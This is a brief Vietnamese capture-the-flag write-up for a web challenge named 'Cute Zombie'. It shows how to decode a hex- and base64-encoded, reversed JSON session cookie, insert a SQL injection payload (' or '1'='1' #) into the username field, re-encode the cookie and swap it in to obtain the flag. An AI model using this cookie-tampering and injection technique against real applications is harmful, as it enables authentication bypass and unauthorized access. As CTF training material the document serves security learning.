Cute Zombie ctf

Cute ZombieWEB APPLICATION SECURITY

Step1: Login bằng 1 tài khoản nào đó , ở đây mình login vs

username : 123

pass: 123

Step2 : F12 lên chọn phần network

Step3: Sao chép đoạn cookie cho vào py

'6653497a4d6a45694f694a6b636d393363334e6863434973496a4d794d534936496d5674595735795a584e31496e733d'.decode('hex') #step1

'fSIzMjEiOiJkcm93c3NhcCIsIjMyMSI6ImVtYW5yZXN1Ins='.decode('base64') #step2

'''}"321":"drowssap","321":"emanresu"{'''[::-1] #step3

'''{"username":"123' or '1'='1' #","password":"123"}'''[::-1] #step4

'}"321":"drowssap","# \'1\'=\'1\' ro \'321":"emanresu"{'.encode('base64')#step5

'fSIzMjEiOiJkcm93c3NhcCIsIiMgJzEnPScxJyBybyAnMzIxIjoiZW1hbnJlc3Uiew=='.encode('hex')#step6

Step4: Dùng extens EditCookie để sửa cookie và get flag

Step:5 và get flag

Chúc bạn thành công